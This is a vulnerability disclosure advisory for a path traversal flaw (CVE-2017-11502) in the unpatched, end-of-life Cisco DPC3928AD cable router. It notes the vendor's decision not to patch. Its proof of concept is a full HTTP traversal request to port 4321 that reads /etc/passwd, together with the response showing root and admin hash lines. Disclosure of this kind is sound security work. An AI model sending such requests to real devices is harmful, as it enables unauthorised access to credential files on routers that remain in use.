SSD Advisory – Cisco DPC3928 Router Arbitrary File Disclosure

Vulnerability Summary
The following advisory describes an arbitrary file disclosure vulnerability found in Cisco DPC3928AD DOCSIS 3.0 2-PORT Voice Gateway.
The Cisco DPC3928AD DOCSIS is a home wireless router that is currently "Out of support" but is provided by ISPs world wide.
Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
Vendor response
We reported the vulnerability to Cisco and they informed us that the Cisco DPC3928AD sold to Technicolor: “The Cisco DPC3928AD was actually sold to Technicolor a while back. In this case, we will ask you to please contact Technicolor at security@technicolor.com to open a case with them”
After connecting Technicolor, they informed us that the product has reached end of life and they will not patch the vulnerability: “After an extensive search for the product to perform validation, we were unable to source the gateway to validate your proof of concept. Due to the end-of-sale and end-of-life of the product Technicolor will not be patching the bug.”
CVE: CVE-2017-11502

Vulnerability details
Cisco DPC3928AD DOCSIS 3.0 2-PORT Voice Gateway vulnerability is present on its TCP/4321 port .
Proof of Concept
An attacker can get the /etc/passwd file from the remote device, by sending the following request:

GET /../../../../../../../../../../../../../../../../etc/passwd
HTTP/1.1
Host: 192.168.0.10:4321
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

The Router response the next output with the passwd content:

HTTP/1.1 200 OK
Content-Type: text/html
SERVER: Linux/#2 Wed Nov 12 10:23:46 CST 2014 UPnP/1.0 Broadcom
UPNP/0.9
Content-Length: 247
Accept-Ranges: bytes
Date: Thu, 10 Nov 2016 16:01:04 GMT
root:HAdbdMWcXHOuKQ:0:0:root:/:/bin/sh
admin:KASJakljhHqiuJ:0:0:aDMINISTRATOR:/:/bin/false
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